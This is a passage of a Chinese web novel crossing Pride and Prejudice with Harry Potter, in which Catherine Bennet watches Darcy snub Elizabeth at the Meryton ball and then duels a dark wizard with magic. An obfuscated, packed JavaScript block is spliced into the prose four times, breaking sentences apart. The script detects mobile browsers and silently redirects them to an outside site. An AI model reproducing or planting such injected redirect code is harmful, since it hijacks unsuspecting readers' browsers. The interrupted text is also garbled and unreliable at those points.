凯瑟琳保持着商业假笑,也不过多言语,只是跟在班内特太太身后,一一和所有人打了招呼。对于女儿这番娴静优雅(误)的举止,班内特太太感到十分欣慰,觉得女儿给自己长了脸,在场的所有人看向她们的目光无一不是艳羡的。 班内特太太一旦骄傲起来,嘴巴就没了把门:“就算今晚尼日斐花园的绅士没有为我的凯瑟琳倾心,那也是他们自己没有眼光。伦敦还有许多有钱的绅士属意……” 凯瑟琳及时拉住了班内特太太,打断她的喋喋不休:“妈妈,你一定口渴了吧?我们去喝一杯香槟?舞会马上就要开始了,如果口干舌燥地跳舞,一定会跳不好的。” 班内特太太对女儿打断自己的意图毫无察觉,反而乐呵呵地跟其他人说:“噢,你们看看,我的小凯蒂就是这么贴心。舞会要开始了都还在担心我口不口渴……我可不能耽误了凯蒂今晚的舞蹈,我得陪着她去喝香槟了。” 远处正在和伊丽莎白交谈的夏洛蒂看向这边,侧头低声道:“凯瑟琳已经长这么大了!” “是啊,”伊丽莎白看着被班内特太太拉去喝香槟的凯瑟琳,“你很久没见过她了吧?凯蒂现在已经是个大姑娘了。” 夏洛蒂点点头:“我敢说,今晚除了简,就属你和凯瑟琳最漂亮了。” 伊丽莎白的目光移向正在和别家小姐说笑的莉迪亚,“莉迪亚也很可爱。” “今晚一定有不少绅士会邀请班内特家姐妹跳舞的。” “噢,算了吧。我听说尼日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584290|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斐花园的宾利先生要带不少女士来参加舞会,只怕今晚单身的先生们不够在场的女士们瓜分。” 话落,伊丽莎白和夏洛蒂对视了一眼,两人仰头大笑。 喧嚣嘈杂间,此次舞会被万众期待的尼日斐花园宾利一家终于进场了。 凯瑟琳被莉迪亚拉到了人群的最前排围观。宾利先生果然如同书里描述的那样,很有绅士派头,气质温和,看上去就十分好亲近。走在他身后的宾利小姐,倒是仪态雍容,扫视他人的眼神里带着一丝高傲。赫斯特夫妇挽着手入场,看上去颇为登对。而走在宾利先生身边高大魁梧的英俊男士,倒是吸引了更多的关注。 想必这位就是年收入一万英镑的达西先生了,果然气质出众。 凯瑟琳好奇地打量着达西,猜测他的身高应该在一米八五以上,不到一米九。但在这个时代,已经算是巨人般的高度了。 不愧是家里有钱的,从小营养应该就很好,能长这么高大。 伊丽莎白就站在凯瑟琳的斜对面,同样也在人群中的最前排。凯瑟琳清楚地看见,达西在路过伊丽莎白的时候,飞速地看了一眼伊丽莎白,速度快得稍不留意就根本发现不了。 而伊丽莎白只是抬眸看了达西一眼,淑女地行了一个礼,并没有察觉到这位一万英镑年收入的帅哥已经对她的眼睛一见钟情了。 啧啧,凯瑟琳现在很想找把椅子坐下来,一边嗑瓜子一边吃瓜。 她居然目睹了达西对伊丽莎白一见钟情的名场面!谁看到这里能不激动呢!这可是伊丽莎白和达西先生诶! 可惜,托班内特太太今晚舞会正式开始前,对众人孜孜不倦地介绍凯瑟琳的福,凯瑟琳并没有任何空闲的机会坐下来好好看戏。 在场单身男士稀缺的情况下,依旧每一支舞都有人来邀请她跳舞。没有其他原因,实在是大家都对这位甚少露面,在伦敦学习且长相清丽的班内特小姐感到好奇。是个男的都想来邀请凯瑟琳跳舞,就连宾利先生都在和简跳舞的间隙邀请凯瑟琳跳了一支舞。 虽然凯瑟琳十分怀疑,宾利先生邀请她跳舞纯粹是因为想让自己显得没有一整晚都在和简跳舞罢了。 好不容易有了休息机会,凯瑟琳一屁股在舞厅边上的沙发上坐下,从仆从手里接过一杯柠檬水,一饮而尽。 “来吧,达西,去跳舞吧。” 她听到了宾利先生的声音。 “我绝对不跳。” 是达西先生在拒绝跳舞,可惜离得有些远,凯瑟琳听不太清楚他说的话。只见他们说着说着,达西先生的目光看向了坐在另一边的伊丽莎白。 “……没漂亮到能够打动我的心……” 瞧瞧这说的都是什么话呢! “……没有兴致去抬举那些舞会上受冷落的小姐……” 凯瑟琳有些不忍心地看向伊丽莎白,显然伊丽莎白也听到了达西先生的话,她清楚地看到伊丽莎白不着痕迹地撇了撇嘴。伊丽莎白注意到了凯瑟琳安慰的眼神,回以一个甜美又无奈的微笑,表示自己并不在意达西的话。 但凯瑟琳知道,伊丽莎白怎么可能一点也不在意呢?她恨铁不成钢地瞪了一眼达西先生的后背。 你完蛋了,你要追妻火葬场了,达西先生。 5. 第 5 章 夜幕方才垂落,街巷的灯火便次第亮起。 梅里顿中心的宴会厅,琴声与笑语交织回荡,一派歌舞升平。乡绅与淑女们衣香鬓影,举止优雅,正随着乐曲翩然起舞。 宴会厅外的寒风吹不散这份热闹。车夫与仆从在阴影中等候,偶尔传来几声放肆的大笑。不知是谁带来了酒,引得下人们言语粗鄙地互相争抢。 深秋的夜风渐冷,灯火、酒气与笑声交织成一幅过于繁盛的图景,仿佛整个小镇都沉醉在这一刻的喜悦与浮华之中。 无人察觉,在梅里顿东边的树林深处,风声忽然一滞。 夜色里似有一团黑影悄然滑动,掠过树叶间的缝隙,拂过遍布青草野花的山坡,正无声地向着灯火辉煌处靠近。 舞会上的人们依旧兴致高昂,而凯瑟琳却实在是跳不动了。她觉得脚上这双只有三厘米高的舞鞋此时堪比三寸金莲的小鞋,多站一秒都是对她的折磨。 凯瑟琳婉拒了一位单身绅士的舞伴邀约,将手腕丝带上的舞卡*1扯下,塞进胸口的衬衣里。她朝着落地窗边走去,半路还从端着酒水的托盘中顺走了一杯香槟。 靠近窗户,便能听清楼下的嘈杂声。凯瑟琳坐在窗边的沙发上,抿了一口香槟,垂眸看着楼下。 五六个车夫在宴会厅侧面的巷子里守着马车,这里离宴会厅的正门有一些距离,灯火照亮不到阴暗的窄巷。车夫们就靠坐在车上,借着楼上落地窗透出的光亮,聚在一起打尤克牌*2。 一局结束,胜者欢呼,败者捶胸,狠狠吸了一嘴劣质烟,才出了一口闷气。 一位穿着深棕色衣服的车夫这时从巷口处走进来,围坐着的人中有人认出了他,高声喊道:“沃克!你怎么现在才撒完尿,不会又偷偷去找女人了吧?” 话音落,其他人都发出了不怀好意的笑声。 上一局的胜者是一位较年轻的小伙子,他显然没有其他经验老道的车夫那般放得开,似乎是说了什么“不得体”之类的话,但都被其他人的笑声盖过去了。 那位沃克的也不应答,只沉默着回到了自己雇主的马车上,从外套口袋里拿出一个随身水壶,仰头大饮一口。 “沃克!来玩一局吧!” “对啊,年轻的威尔逊把我们这些老家伙赢了个遍,你来给我们出口气!” “沃克!你怎么不说话?” “不玩。” 沃克摘下帽子,盖在自己的脸上,抱着双臂靠在车上半躺下,便不再说话。 “真没意思。” “就是。” “再来一局,再来一局!威尔逊不可以再玩了,他快要把我这个月的酒钱都赢走了。” 沃克的拒绝没有影响这些车夫们的兴致,吵吵嚷嚷间又开始了一轮新的牌局。只是这一回,那位年轻的威尔逊被禁止参与了,他只好站在车下探着头围观其他人玩。 若是他们之中有人能想起来抬头瞅一眼,就会发现在楼上的落地窗后面,一位年轻漂亮的小姐也正在津津有味地看着他们打牌。 凯瑟琳就趴在沙发的把手上,看了二十几分钟楼下车夫们的牌局,她觉得这可比舞会有意思多了。 可惜班内特太太不这么认为:“凯蒂!你在这里做什么?” 凯瑟琳回头看向朝自己走来的班内特太太,赶紧坐直了身子,“妈妈,我在休息。” 班内特太太注意到凯瑟琳手腕丝带上的舞卡消失不见了,有些疑惑:“你的舞卡呢?” “呃,我的舞卡不见了,妈妈。”凯瑟琳摸了摸自己手腕的丝带,“应该是刚才跳舞的时候,被伍德森先生不小心扯掉了。” “你找了吗?” “我找了,妈妈。它就是掉了,不见了,找不着了。” 班内特太太气呼呼:“伍德森先生怎么会这么举止鲁莽,弄丢了一位小姐的舞卡后,既不帮忙寻找,也不去帮你要一张新的舞卡。” 嗯……非常抱歉了,这位伍德森先生,这锅暂时只能让您背背了。 凯瑟琳拉过班内特太太的手臂,让她在自己身边坐下,“妈妈,你先别着急。反正我现在也只想休息,没有舞卡的话,就不需要再找别的借口婉拒单身绅士们了。” “你今晚才跳了八轮舞!” “妈妈,今晚一共二十轮舞曲,上半场就十轮舞曲,你总得让我歇一歇吧。你看看我可怜的双脚,”凯瑟琳提了提裙摆,把自己的脚给班内特太太看,“都快要断了。” 除了脚已经承受不住之外,有些舞曲凯瑟琳实在是不熟练,一旦跳了一定会露馅儿。以防万一,她从一开始就没有答应任何男士这些舞曲的邀约。 班内特太太手疾眼快地把女儿的裙摆扯下,还用力地拍了一掌凯瑟琳的手,“这里这么多男士在呢,你怎么能把脚漏出来!” “妈妈,这个角度没人能看见我的脚,你放心吧。” “今晚最后一支舞你和谁跳?有男士约你了吗?你的舞卡丢了,不会也不记得哪位绅士约了你吧?” 在这个时代的舞会中,最后一支舞可是承载着重要的社交意义的。如果凯瑟琳今晚有了心仪的男士,最后一舞必定得是这位男士。 班内特太太这是在拐弯抹角地打听呢。 不过得让她失望了,因为凯瑟琳毫不犹豫地摇了摇头,“还没有人约我最后一支舞,妈妈。” 班内特太太抱怨道:“简的最后一支舞已经被宾利先生提前预约了,怎么会没有绅士来约你最后一支舞呢?要我说,今晚在场的绅士里,除了宾利先生以外,就没有一位绅士有好眼光和勇敢的性格特质。” 好吧,班内特太太连护短都护得如此与众不同标新立异。 凯瑟琳轻轻地抱着班内特太太的手臂,语气带上了一些撒娇的意味:“妈妈,你就不要担心了。你一定会有一个女儿能入住尼日斐花园的。” 班内特太太被凯瑟琳这一番发言逗笑了,她没想到凯瑟琳比她还要有自信心,“噢?你是女巫吗?还会预言呢?那你说说今天之后宾利先生到底会不会和简求婚?” 嘿,您可别说,她还真是货真价实的女巫。 不过预言的话……看水晶球能力半吊子的那种算吗? 凯瑟琳有些莫名的心虚,她松开了抱着班内特太太的手,正想要开口,余光却瞥见一道有些熟悉的身影,在落地窗外的巷子口一闪而过。 怎么会是他? 他怎么会出现在这个地方? 凯瑟琳心下疑惑,一种不好的预感涌上心头。可是转头再看过去的时候,巷子口空空如也,一个人影也没有。 她不认为是自己看错了,或是认错了人,因为那人身上穿的衣服并不是这里的人会穿的服装。 “妈妈,我去一下盥洗室。” 她找了一个借口,打算离开宴会厅,到外面去看看。刚迈开脚步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584291|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又似是想起什么,转头拉起班内特太太。 班内特太太对她的举动不解:“凯蒂,你不是要去盥洗室吗?” “是的,妈妈,我很急。但是你能别坐在那个沙发上吗?我发现那个位置太偏僻了,你坐在那里的话,其他太太们会注意不到你的,这样就没有人来找你聊天啦。” 班内特太太没好气:“你也知道那个沙发的位置太偏僻,那你还在那里坐着?就是因为你躲在那个角落里,才没有绅士注意到你,不然早就会有善良的绅士来邀请你跳最后一支舞了。” “你说得太对了,妈妈。”凯瑟琳现在没有闲情逸致和班内特太太较劲,只是一昧认同,并且将班内特太太拉到了一个不靠近玻璃窗户的安全区域,“妈妈,你就呆在这个桌子旁边,和其他太太们聊天吧。” 万一有什么事情,还可以第一时间躲到桌子下面去。 别问,问就是上一世打仗打出来的血泪经验。 班内特太太还沉浸在给女儿找最后一支舞舞伴的思考中,“那位达西先生今晚和你跳舞了吗?他做你最后一支舞的舞伴也是一个不错的人选。” 凯瑟琳打量了一圈宴会厅,现在正是舞会的中场休息时间,班内特先生在钢琴边儿上和其他乡绅们聊着天,四位姐妹正坐在餐桌上吃着茶点补充能量。 见女儿半天没有回答自己,班内特太太又喊了一声:“凯蒂?你听见我说话了吗?那位达西先生……” “达西先生总有一天会和莉兹跳的,你放心吧,妈妈,我先去盥洗室了。” 凯瑟琳说完,头也不回地就离开,大跨步往外面走去。留下一脸疑惑的班内特太太,不过班内特太太的疑惑并没有持续太久,因为很快就有别的太太们来找她说话了。 哪怕是在舞会的中场休息时间,依旧有不少人没有选择到餐桌上坐下享用茶点,而是零散地聚集在宴会厅中间聊天。 凯瑟琳快步穿过人群,但人太多,还是被绊住了脚步。她只好用手稍微拨开挡在前面的人,一边为自己的失礼低声致歉。 就在凯瑟琳即将要穿过人群的时候,宴会厅中的灯光突然闪了几下。 随着一声清脆而响亮的爆破声,所有的落地窗都在同一时间爆裂开,炸开的玻璃碎片洒了一地。许多位置离落地窗户近的人都被波及,一时之间,原本歌舞升平的宴会厅充满了尖叫声和呼救声。 “!”凯瑟琳低声暗骂了一个F开头的单词,她回头看了一眼,确保家人们都安然无恙,才重新迈开脚步。 眼下这样的特殊情况,她顾不上这么多礼节了,必须要在宴会厅内不安的人们一股脑往外冲之前,马上追出去。 凯瑟琳直接拨开了前面的人,大步往外冲。 一边跑一边抬起右手抽出盘发上的魔杖,没有了魔杖发簪的固定,浅棕色的长卷发顿时倾泻而下,随着她跑动的动作,发丝在风中扬起。 整场舞会都在逃避跳舞的达西先生,在半场休息之前就已经悄悄坐在了门口附近的沙发上。事情发生得突然,他也没有反应过来。在他站起身准备有所应对的时候,就看到一位眼熟的班内特家小姐,披散着头发往门口外冲出去。 “班内特小姐,小心……” 他下意识开口,想要好心提醒这位看上去柔弱的年轻小姐注意安全,就看到她手里握着的刚从头发上抽出来的木簪子正在自动变长。 “……危险?” 6. 第 6 章 菲兹威廉·达西一直认为,自从双亲过世,他一个人扛起达西家族之后,多年的历练已经让他成为了一位阅历颇深的绅士。 在任何事情面前,他都能够做到稳重如山。哪怕是当年妹妹乔治安娜差点出事的时候,他也能在最短的时间内收拾心绪,以一贯冷静的理智处理一切突发事件。 直到这一刻,超出认知以外的事物第一次让他的理智被彻底摧毁。 他眼睁睁地看着班内特家的四小姐,在他的面前,头也不回地朝身后反手划动着手里的木棍子,口中念念有词。 那些碎裂的玻璃片,如同被无形的线牵引,纷纷止住掉落滚动的姿态,在地面和空中微微一颤,便开始倒带回溯。 原本爆裂的玻璃落地窗又完整如初,光洁如新的表面倒映出他的神色——震惊、困惑,还有一种近乎不敢置信的迟疑。 这一切发生得太过荒诞。 刚才,他分明听见了破碎的脆响,感受到了冷风穿堂的刺骨,而现在,时间似乎被人强行抹平,一切裂痕都被抹去了。 “这是……怎么回事?”他低声呢喃。 凯瑟琳早就注意到了一脸震惊的达西,但她现在并没有时间和他解释。 宴会厅的玻璃碎片太多,不安的人群已经开始有了推挤的迹象,如果放任不管,厅中的人走动两步就会被碎片割伤。为了减少伤亡,她不得不做出这样的选择。 至于被麻瓜看到使用魔法这件事……魔法部会处理好的。 她不在乎达西现在能不能从震惊中回过神来,可眼下他不失为一个安抚人群和处理突发情况的好人选。 “别愣着了,达西先生,快去帮助伤者。” 说完,凯瑟琳不等对方的回应,就跑出了宴会厅。 大门口外,原本在车上候着的车夫奴仆们都纷纷聚在一起,惊呼着议论刚才的突发事件。 “刚才那几团影子是怎么回事?什么东西飞过去了?” “我也看到了!是旋风吗?” “太吓人了!” 凯瑟琳顺着他们的目光看过去,右手边的街道上,停着的许多辆马车已经被推倒,就好像这条街上刚刚刮过一阵小型的龙卷风般,被席卷得一片狼藉。 年轻的威尔逊小心翼翼地躲在门柱子后面,和其他车夫一起好奇地围观。 他看见一位身着嫩黄色礼服的年轻小姐从室内跑出来,不顾危险地往影子消失的方向去。 正想要出声叫住那位小姐,下一瞬,他吃惊地揉了揉眼睛,生怕是自己眼睛昏花,看错了眼前的景象。 那抹嫩黄色的身影化作一缕银白的光影,顺着风声掠过狭长的街道,和之前的那些影子一样,消失在了前方。 今夜的早些时候,加雷斯·安斯里和另一位傲罗一起,追踪着一个携带了极其危险的魔法项链的黑巫师来到了梅里顿的附近。 他们已经追了那人三天三夜。 那名黑巫师极其狡猾,擅长制造幻象和制作魔药,并且对黑魔法颇有研究,几次几乎让他们错过踪迹。可就在半小时前,魔法部的追踪咒终于锁定到了梅里顿。 传说这条魔法项链上有一颗十分邪恶的红宝石,是远古时期的黑巫师锻造而成。红宝石有一种特殊的魔力,只要被项链认了主,那么拥有项链的巫师就可以有操控他人的能力。 只是这条项链已经消失了近千年,关于它的存在一直都是一个传说,没有人真正见到或者得到过它。因此无人知道所谓操控他人的能力究竟是不是真的,如果是真的,这个能力的阈值是何种程度。 一周前,霍格莫德出现了几起离奇的巫师死亡事件。死者皆面目扭曲,身上却没有任何外伤,造成死亡的也不是任何一个黑魔法咒语。更像是被一种魔法物品而伤。 加雷斯跟着线索,确定了造成死亡事件的嫌疑人——特雷斯坦·维尔,一位极度热衷于黑魔法的巫师。他在苏格兰高地一个遗失的村落里,发现了一个神秘的地道,在里面找到了这条消失了近千年的项链。 获得了项链的特雷斯坦·维尔,并没有像传说中那样被认主后就获得了操控他人的能力。相反,他已经被项链操控了心智,开始肆无忌惮地无差别攻击杀害其他巫师。 项链通过杀害巫师,从死亡中汲取魔力。红宝石造成的死亡越多,魔力越强。原以为自己能靠着黑魔法成就一番功绩的特雷斯坦·维尔,早就被彻底反噬,成为了一具行尸走肉了。 飞奔在最前面的黑影没有继续往前,而是出其不意地拐了一个大弯,绕回了梅里顿中心宴会厅的附近,唰地一声落在一处民房的屋顶上。 穿着深棕色衣服的车夫沃克扔掉了手里的水壶,复方汤剂的效果正在消失,他露出了原本的长相—— 是特雷斯坦·维尔。 “魔法部没有人了吗?”他嘲笑道,“两个傲罗就想抓住我?” 加雷斯和艾德里安也落在了屋顶上,一前一后包围着特雷斯坦·维尔。 特雷斯坦·维尔侧眼看着步履有些不稳的艾德里安,再一次出言讽刺道:“噢,看看,其中一位傲罗还已经被我打伤了。” 刚刚宴会厅的魔力暴动,就是造成艾德里安受伤的原因。 他们在巷子口发现了特雷斯坦·维尔的踪迹,正要上前,奔走在最前面的艾德里安就被伪装成沃克的特雷斯坦·维尔用项链的魔力攻击。 如果不是加雷斯的反应足够快,挡住了一部分的攻击,艾德里安早就和霍格莫德死去的那些巫师一样了。 巷子口的空间太窄,被挡回去的魔力错误地往宴会厅的方向去了,才导致了刚才落地玻璃窗的爆裂。 加雷斯来不及去查看屋内的麻瓜们是什么情况,他至少要在援兵到来之前不能跟丢了特雷斯坦·维尔。 这次在麻瓜界造成的破坏可不算小,他尚且还不知道麻瓜的伤亡情况,但希望魔法部派来的援兵和清扫战场的人手足够多。 在特雷斯坦·维尔再一次将项链朝艾德里安举起的时候,加雷斯抬手就给了对方一个除你武器。 然而特雷斯坦·维尔早有预感,他侧身躲过了咒语,身法敏捷地换了位置,甚至还躲过了艾德里安的攻击。 “Incendio!” 特雷斯坦·维尔将一个火焰咒丢给了艾德里安,原本就已经受了伤的艾德里安狼狈地扑在地上才堪堪躲开。可也是这一下,让他的伤势再次加重,一时之间竟爬不起身来。 咒语击中了旁边民房的屋顶,瞬间发生了爆炸,火光刹那间照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584292|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮了梅里顿的上空。 纵使这不是一个强力爆炸咒,但产生的动静也足以引起整个小镇的人的注意了。 街道上,越来越多的麻瓜走出家门,他们提着灯,揉着眼睛,试图看清到底发生了什么。 窃窃的议论声、惊呼声与急促的脚步声混成一片,像潮水般涌向每一条小巷。屋檐下的猫狗吓得奔逃,街边的马车喧闹不安。 加雷斯心头一沉。 火光在他脸上闪烁不定,映出他紧绷的下颌线。燃烧的屋顶正不断坍塌,带起炙热的气浪。屋里的人尖叫着跑出来,呼叫邻里快灭火。 他抬起魔杖,沉声念道:“Aguamenti(清泉如水)!” 水流猛然喷出,在空中化为一道弧线,落在火焰上,溅起一阵嘶嘶白雾。 没用的巫师! 特雷斯坦·维尔在心里暗讽了一番加雷斯给麻瓜灭火的举动。 重新抬起握着魔杖的手,特雷斯坦·维尔并不打算放过这个机会。若不是项链刚才已经攻击过一次,现在正在魔力恢复中,他原本是想再对着加雷斯来一次的。 加雷斯在特雷斯坦·维尔的第一个音节刚出来时,就果断地一转手,带着那道水流猛地甩到了特雷斯坦·维尔的脸上,打断了他的施咒。 这一击彻底惹怒了特雷斯坦·维尔。 他眼中闪过一丝狂热,呼吸急促,手腕一翻,连续施出了数个攻击咒语: “Confringo(爆裂咒)!” “Protego(护盾咒)!” “Bombarda Maxima(强力爆破咒)!” “Repulso(反弹咒)!” 特雷斯坦·维尔的速度快得几乎难以捕捉,加雷斯狼狈地闪躲着每一次攻击。 这座民房屋顶上的瓦砾和玻璃碎片在魔法冲击下飞溅,魔力交织成一片刺眼的闪光。 “Crucio(钻心剜骨)!” 因为闪躲而脚步不稳,加雷斯的魔杖慢了一拍,他眼看着特雷斯坦·维尔的咒光朝着自己的胸口袭来。肾上腺素飙升,暂时性的耳鸣让他顿时感到浑身发凉,眼前一片空白。 就在这一刻,一道嫩黄色的身影“唰”地闪过—— 加雷斯来不及看清楚挡在他身前的人是谁,就见来者魔杖高举,声音清亮而坚定: “Protego Horribilis(强效护盾咒)!” 一层金色光幕倏地在两人面前撑起,如水波般扩散开来,挡下了黑魔法的攻击。 魔力震荡产生的风波将来者浅棕色的长卷发吹开,加雷斯得以看清了她的面容。 “凯瑟琳?!” 特雷斯坦·维尔没想到,一个年纪轻轻的小姑娘竟能挡下他的不可饶恕咒。 他双眼血红,呼吸急促,整个人如被火焰吞噬。握在手里的红宝石项链剧烈颤动,光芒燃烧心脏,将他那本已被贪欲侵蚀透彻的心智彻底放大。 可惜他高估了自己的速度和实力。 连索命咒的第一个音节还没有说完,对面的年轻小姑娘已经将他一击击倒。 “Stupefy(昏昏倒地)!” 并且用的还是一个这么“普通”的咒语。 7. 第 7 章 到目前为止的人生历程中,只有三个人对着凯瑟琳使用过阿瓦达索命咒。 一个是贝拉特里克斯·莱斯特兰奇,狡猾的疯女人在魔法部神秘事务司的死亡之幕前,击杀小天狼星未遂,被凯瑟琳挡下,因此转而袭击凯瑟琳。虽然这次没有让凯瑟琳丧命,但也让她在圣芒戈躺了一个月才出院。 一个是伏地魔,众所周知,凯瑟琳·阿什芙德死于他的索命咒绿光之下。不过,这也已经是十八年前的事情了,凯瑟琳·班内特几乎忘记了当时是怎么被击中的,毕竟死亡是一瞬间的事情。 介于有这样特殊的死亡经验,凯瑟琳这一世在霍格沃茨的七年,除了学习之外,头等大事就是提升自己的实力。尤其是应对阿瓦达索命咒这一类不可饶恕咒的能力。 这就像是模考的时候,学霸栽在了数学的最后一道大题上。于是考完试后,学霸埋头苦练相关知识点真题。用生命发誓高考再碰到类似的题目的时候,一定拿下题目全分。 她花了七年的时间温故而知新,现在几乎可以为师矣。 连邓布利多都认为她的黑魔法防御术已经远远超越了同年龄层的巫师。 因此当初毕业在车站分别,听到凯瑟琳选择离开魔法界,要回归麻瓜世界的生活时,邓布利多还颇感惋惜。 他认为如果凯瑟琳能留在魔法界继续深造的话,以她的实力一定能成为一名伟大的巫师,甚至可以为魔法界的革#新出一份力。 凯瑟琳当然是微笑着婉拒了这样的建议。 废话,她如果不婉拒的话,格林德沃之战她要是又在胜利前倒下了可咋办? 谁能保证她这次再死还有机会复活呢? 而且格林德沃之战的时候她都多大年纪了?可能都当人奶奶了,就不要再折腾她老人家了吧?这简直就是虐待老人! ……扯远了。 重新回到梅里顿的民房屋顶。 这第三个对她使用索命咒的巫师,显然实力与前两位差了不止一个量级。 一个对于凯瑟琳来说手到擒来的攻击咒语就能打断对方的施咒,甚至直接击倒对方。 就连班内特太太缠在魔杖上的两朵香槟色蔷薇花都依旧完好如初。 凯瑟琳优雅地收回魔杖,重新盘好了头发,拍了拍裙摆上根本不存在的灰尘。 她侧过身让出路,示意加雷斯可以去收拾倒在地上的逃犯了。 “噢!”加雷斯才从刚才的冲击中缓过神来,他走过去用特制的收纳袋将那条邪恶的项链装好,缴了特雷斯坦·维尔的魔杖,又给他加了一个全身束缚咒。 艾德里安勉强站起了身,从加雷斯手里接过犯人。他看出加雷斯和这位救了他们的年轻小姐认识,十分有眼色地说道:“我来看着他就好,魔法部的支援应该很快就到了。” 加雷斯关心道:“你的伤如何了?” 艾德里安摆摆手:“没有大碍,但是你再不过去和那位好心的小姐道谢的话,我的良心就会痛了。” 加雷斯听出了艾德里安话里的暗示,脸颊瞬间滚烫起来,还好现在是晚上,没人能看出来他泛红的皮肤。 他走到凯瑟琳面前:“呃……好久不见,凯瑟琳。” “好久不见,加雷斯。” “你今年毕业了?” 凯瑟琳顿了顿,她不觉得以加雷斯的智商和算数能力会算不出来她应该是在哪一年毕业的,但她还是点头回答:“是的。” 加雷斯·安斯里是比凯瑟琳大三岁的霍格沃茨校友。他是一个赫奇帕奇,上学的时候成绩就非常优秀,甚至还当过赫奇帕奇的魁地奇球队队长。 他们是在一次期末考试周认识的,那天两人都正巧在图书馆复习。 当然,说是复习,但其实对凯瑟琳来说是学习,因为二年级的课程她早就掌握得十分透彻了。她泡图书馆纯粹是为了学习高年级的知识——比如她上一世没上完的七年级的课程内容。 她借阅的书籍和她的年级实在是不匹配,坐在旁边复习的加雷斯不由得多看了几眼,最后还是按耐不住自己的好奇心。 “你看得懂这本书吗?” 凯瑟琳的面前是一本厚厚的《变形术进阶理论》,她正在看第二百三十八页。 听到旁边的男生问话,她的目光从书上移开,很认真地点点头:“看得懂。” 加雷斯有些吃惊:“我没有质疑你的意思,只是你看起来才刚刚一二年级,怎么会想到要借阅七年级的书籍?” 凯瑟琳一脸无辜:“因为我学到这里了。” 加雷斯:“噢……”是他不了解学霸了。 加雷斯看着自己的五年级变形术课本,纠结了三分钟后,他再一次转头,低声朝凯瑟琳问道:“那五年级的变形术你都会了吗?” 凯瑟琳的目光在《变形术进阶理论》的第二百四十八页上没有移开,但也轻声地回答了加雷斯的问题:“会。” 加雷斯:“……”这难道就是天才吗? “呃……”他的语气有些犹豫,似乎是不好意思开口,这引得凯瑟琳侧目看了过来。 在二年级学妹的注视下,加雷斯才有些羞涩地说:“我今年五年级,下周就要考O.W.Ls了,但是关于元素相容性与变形稳定性的一些理论知识依旧不得其要领。如、如果你懂的话,可以不可以帮我讲解一下?” 加雷斯其实并不是一个学习很差的学生,相反,他的成绩一直都挺优秀的,只不过变形术课是他学得最差的一门课程。如果早知道O.W.Ls变形术的考试难度这么高的话,他上个月就不该把所有的时间都给了魁地奇训练。 凯瑟琳挑挑眉,虽然上一世备考O.W.Ls刷真题时她最早只刷到了1960年的卷子,但按照魔法界这种各领域都龟速的发展速度,1893年的考试范围应该也不会差特别多。 她向加雷斯伸出手,白皙纤细的食指勾了勾,淡淡说道:“把书拿来。” “噢!”加雷斯把自己的课本双手奉上,“就是,八十三页的这一段……” 有了凯瑟琳连续七天在图书馆的帮助,加雷斯用一周的时间就把成绩从A提升到了E。他并不指望自己的O.W.Ls变形术能拿到O的成绩,E已经是超出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584293|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预期的结果了。 因为这一次的相识,让加雷斯对凯瑟琳的了解加深了不少。他特别感谢凯瑟琳的帮助,也常常惊叹于凯瑟琳的魔法能力……和应试能力。 自那以后,他对凯瑟琳的关注变得越来越多。虽然不在同一个年级,也不在同一个学院,但每一次赫奇帕奇有魁地奇球赛的时候,他都会很热情地邀请凯瑟琳来观赛。 每一学期的期末复习周,他都会主动约凯瑟琳一起去图书馆学习——虽然那位和凯瑟琳关系很好的邓布利多也经常会在。 加雷斯甚至在六年级的时候,尝试着邀请凯瑟琳一起去霍格莫德,不过最后被凯瑟琳以要去找魔药课教授开小灶没时间去霍德莫格拒绝了。 加雷斯知道凯瑟琳对自己并没有任何的男女之情,也幸好凯瑟琳对恋爱这种事情并没有什么开窍的迹象,似乎没看出来自己对她的感情,不然加雷斯害怕他们连朋友都没办法做好。 